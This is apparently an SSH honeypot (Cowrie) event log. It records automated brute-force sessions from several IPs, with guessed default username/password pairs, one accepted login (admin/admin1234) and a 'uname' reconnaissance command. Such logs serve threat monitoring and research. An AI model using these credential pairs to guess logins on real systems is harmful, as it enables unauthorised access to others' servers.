{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:38.214893Z","src_ip":"45.153.34.114","session":"605611da88f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:38.543950Z","src_ip":"45.153.34.114","session":"605611da88f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:39.629492Z","src_ip":"45.153.34.114","session":"605611da88f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36806,"dst_ip":"159.203.135.109","dst_port":22,"session":"f44ada5940a3","protocol":"ssh","message":"New connection: 45.153.34.114:36806 (159.203.135.109:22) [session: f44ada5940a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:46.398721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:46.407393Z","src_ip":"45.153.34.114","session":"f44ada5940a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:46.495287Z","src_ip":"45.153.34.114","session":"f44ada5940a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:46.752344Z","src_ip":"45.153.34.114","session":"f44ada5940a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42960,"dst_ip":"159.203.135.109","dst_port":22,"session":"66e74aaf2ee0","protocol":"ssh","message":"New connection: 103.75.199.4:42960 (159.203.135.109:22) [session: 66e74aaf2ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:47.816844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:47.821093Z","src_ip":"103.75.199.4","session":"66e74aaf2ee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:47.911993Z","src_ip":"103.75.199.4","session":"66e74aaf2ee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:47.937345Z","src_ip":"45.153.34.114","session":"f44ada5940a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:48.184903Z","src_ip":"103.75.199.4","session":"66e74aaf2ee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:49.277866Z","src_ip":"103.75.199.4","session":"66e74aaf2ee0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33686,"dst_ip":"159.203.135.109","dst_port":22,"session":"29b5fd7f856d","protocol":"ssh","message":"New connection: 45.153.34.114:33686 (159.203.135.109:22) [session: 29b5fd7f856d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:54.496373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:54.505050Z","src_ip":"45.153.34.114","session":"29b5fd7f856d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:54.588529Z","src_ip":"45.153.34.114","session":"29b5fd7f856d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:54.850499Z","src_ip":"45.153.34.114","session":"29b5fd7f856d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:43:55.937488Z","src_ip":"45.153.34.114","session":"29b5fd7f856d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36680,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d87774fc716","protocol":"ssh","message":"New connection: 45.153.34.114:36680 (159.203.135.109:22) [session: 6d87774fc716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:02.332181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:02.337319Z","src_ip":"45.153.34.114","session":"6d87774fc716","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:02.422945Z","src_ip":"45.153.34.114","session":"6d87774fc716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:02.684824Z","src_ip":"45.153.34.114","session":"6d87774fc716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:03.774943Z","src_ip":"45.153.34.114","session":"6d87774fc716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40234,"dst_ip":"159.203.135.109","dst_port":22,"session":"d771427b35d6","protocol":"ssh","message":"New connection: 103.75.199.4:40234 (159.203.135.109:22) [session: d771427b35d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:09.576461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:09.585108Z","src_ip":"103.75.199.4","session":"d771427b35d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:09.676078Z","src_ip":"103.75.199.4","session":"d771427b35d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:09.949332Z","src_ip":"103.75.199.4","session":"d771427b35d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42136,"dst_ip":"159.203.135.109","dst_port":22,"session":"483505da06a2","protocol":"ssh","message":"New connection: 45.153.34.114:42136 (159.203.135.109:22) [session: 483505da06a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:10.752723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:10.757891Z","src_ip":"45.153.34.114","session":"483505da06a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:10.842534Z","src_ip":"45.153.34.114","session":"483505da06a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:11.043305Z","src_ip":"103.75.199.4","session":"d771427b35d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:11.098303Z","src_ip":"45.153.34.114","session":"483505da06a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:12.187857Z","src_ip":"45.153.34.114","session":"483505da06a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42152,"dst_ip":"159.203.135.109","dst_port":22,"session":"671db3b0871e","protocol":"ssh","message":"New connection: 45.153.34.114:42152 (159.203.135.109:22) [session: 671db3b0871e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:19.060663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:19.064744Z","src_ip":"45.153.34.114","session":"671db3b0871e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:19.164526Z","src_ip":"45.153.34.114","session":"671db3b0871e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:19.542469Z","src_ip":"45.153.34.114","session":"671db3b0871e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:19.749044Z","src_ip":"45.153.34.114","session":"671db3b0871e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:19.752285Z","src_ip":"45.153.34.114","session":"671db3b0871e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:19.837325Z","src_ip":"45.153.34.114","session":"671db3b0871e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:19.842555Z","src_ip":"45.153.34.114","session":"671db3b0871e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":48480,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e4f78d7a69c","protocol":"ssh","message":"New connection: 20.203.42.204:48480 (159.203.135.109:22) [session: 2e4f78d7a69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:24.524027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:24.528666Z","src_ip":"20.203.42.204","session":"2e4f78d7a69c","protocol":"ssh"}
